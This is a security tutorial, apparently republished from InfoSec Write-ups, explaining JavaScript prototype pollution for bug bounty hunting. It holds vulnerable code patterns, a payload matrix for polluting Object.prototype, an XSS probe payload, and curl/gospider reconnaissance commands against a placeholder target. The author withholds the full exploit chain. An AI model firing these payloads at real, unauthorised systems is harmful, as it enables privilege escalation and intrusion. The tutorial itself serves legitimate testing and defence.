JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation & Bug Bounty Guideline
From Recon to RCE — A comprehensive deep-dive into one of JavaScript’s most misunderstood vulnerabil 2026-6-8 04:26:8 Author: infosecwriteups.com(查看原文) 阅读量:7 收藏

MD Mehedi Hasan

From Recon to RCE — A comprehensive deep-dive into one of JavaScript’s most misunderstood vulnerabilities

Press enter or click to view image in full size

JavaScript Prototype Pollution Deep Dive

Table of Contents

  1. What Is Prototype Pollution?
  2. The JavaScript Prototype Chain — Deep Dive
  3. Attack Vectors & Entry Points
  4. Reconnaissance Methodology
  5. Exploitation Techniques — From XSS to RCE
  6. Real-World Bug Bounty Case Studies
  7. Advanced Exploit Chains
  8. Tooling & Automation
  9. Defense & Remediation
  10. Full Python Scanner — Production-Ready

1. What Is Prototype Pollution?

Prototype Pollution is a vulnerability where an attacker injects properties into JavaScript’s Object.prototype. Because all objects inherit from Object.prototype, the injected property propagates to every object in the runtime — including window, document, process, and any object created thereafter.

Why It Matters

Unlike SQL injection or XSS, Prototype Pollution often serves as a primer — it doesn’t immediately give you RCE unless you chain it with another gadget. But when chained correctly, the impact ranges from XSS (browser) to Remote Code Execution (Node.js).

Press enter or click to view image in full size

Impact Level

2. The JavaScript Prototype Chain — Deep Dive

How Inheritance Works

// Every object has a hidden [[Prototype]]
const user = { name: "Alice" };
// user ---> Object.prototype ---> null
// ^[[Prototype]]^

When you access user.toString(), JavaScript:

  1. Looks for toString on user itself → not found
  2. Looks on user.__proto__ (which is Object.prototype) → found!
  3. Executes it.

The Vulnerability Mechanism

// Normal operation
const target = {};
const source = JSON.parse('{"name": "Alice"}');
Object.assign(target, source);
// target = { name: "Alice" } — safe
// Polluted operation
const source = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign(target, source);
// target.__proto__.isAdmin = true
// ALL objects now have isAdmin: true

Why __proto__ Works as a Key

JSON parsing does NOT treat __proto__ specially — it's just a string key. When Object.assign() copies properties, it sets target.__proto__ which mutates the actual prototype chain.

// Visual representation
const obj = {};
obj.__proto__.polluted = true;
// Equivalent to:
Object.prototype.polluted = true;
console.log({}.polluted);  // true
console.log([].polluted); // true
console.log("".polluted); // true (string prototype chain)

The Three Mutation Methods

Press enter or click to view image in full size

Method/Vul/Lib

3. Attack Vectors & Entry Points

Server-Side Entry Points (Node.js)

POST /api/users
Content-Type: application/json
{"name": "test", "__proto__": {"isAdmin": true}}

Where to look:

  • JSON body parsing (Express body-parser, express.json())
  • Query string parsing (qs library, Express built-in)
  • Cookie parsing
  • File upload metadata
  • GraphQL variables
  • WebSocket messages

Client-Side Entry Points (Browser)

<!-- URL fragment parsing -->
https://target.com/#__proto__[polluted]=true
<!-- PostMessage -->
window.postMessage({__proto__: {evil: true}}, '*')
<!-- localStorage / sessionStorage -->
localStorage.getItem('config') // parsed with JSON.parse
<!-- WebSocket -->
ws.send(JSON.stringify({__proto__: {innerHTML: '<img src=x onerror=alert(1)>'}}))

Common Vulnerable Patterns

Pattern 1: Object.assign / Spread Operator

app.post('/api/update', (req, res) => {
const user = getUser(req.session.userId);
Object.assign(user, req.body); // VULNERABLE
user.save();
});

Pattern 2: _.merge / $.extend

const config = _.merge(defaultConfig, userConfig); // VULNERABLE if userConfig comes from input

Pattern 3: Deep Clone

const cloned = JSON.parse(JSON.stringify(userInput)); 
// JSON.parse + JSON.stringify is SAFE — it strips __proto__
// BUT: if you then merge cloned into another object...

Pattern 4: URL Query Parsing

// Using qs library with allowPrototypes: false (default is true in older versions)
const parsed = qs.parse('a.__proto__.b=c');
// Older qs: parsed = { a: { __proto__: { b: 'c' } } }

4. Reconnaissance Methodology

Phase 1: Identify Dependencies

Modern web apps are built on frameworks. Find the soft targets.

# Client-side: Look for known vulnerable libraries
curl -s https://target.com/assets/app.js | grep -iEo \
'(jquery|lodash|underscore|handlebars|vue|react|angular|backbone)[@-]?[0-9.]+'
# Server-side: Check for Node.js indicators
curl -sI https://target.com | grep -i 'x-powered-by\|server\|node'

Version lookup table:

Press enter or click to view image in full size

Vulnerable table

Phase 2: Map All Input Points

Build a comprehensive list of every location where user data is parsed into objects.

# Spider the application
gospider -s https://target.com -o spider_output
# Extract endpoints from JavaScript
curl -s https://target.com/assets/app.js | \
grep -oP 'POST|PUT|PATCH|GET.*(api|graphql|v1|v2|rest)' | \
sort -u > endpoints.txt

Phase 3: Brute-Force Pollute Vectors

Target each endpoint with multiple payload variants.

// Payload matrix — try ALL of these
{"__proto__":{"polluted":"yes"}}
{"__proto__":["polluted","yes"]}
{"__proto__":{"__proto__":{"polluted":"yes"}}}
{"constructor":{"prototype":{"polluted":"yes"}}}
{"a":{"__proto__":{"polluted":"yes"}}}
{"[__proto__]":{"polluted":"yes"}}
{"__proto__.polluted":"yes"} // For query string parsersj

Phase 4: Detection Verification

After sending the payload, verify if pollution took effect.

Get MD Mehedi Hasan’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Server-side check:

# Send a probe payload that affects something observable
curl -s https://target.com/api/status | grep -i '"polluted":"yes"'
# Or check if you get 200 instead of 403 on admin endpoints

Client-side check (if you can execute JS):

// Open console on the target page after triggering the pollution
Object.prototype.polluted === "yes"
// Or
({}).polluted === "yes"

⚠️ Content Notice

Due to community guidelines and responsible disclosure practices, I was unable to include the complete live exploit chain, weaponized payloads, and full proof-of-concept demonstrations in this article.

The concepts, impacts, and mitigation strategies are covered here for educational and defensive security purposes. Readers interested in the full technical research, complete exploit analysis, and detailed proof-of-concept examples can refer to the corresponding GitHub repository linked with this article.

This content is intended solely for security research, awareness, and defensive testing in authorized environments.

Reed Full Blog: https://github.com/SecurityTalent/write-up

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming


文章来源: https://infosecwriteups.com/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline-25e0496ade04?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh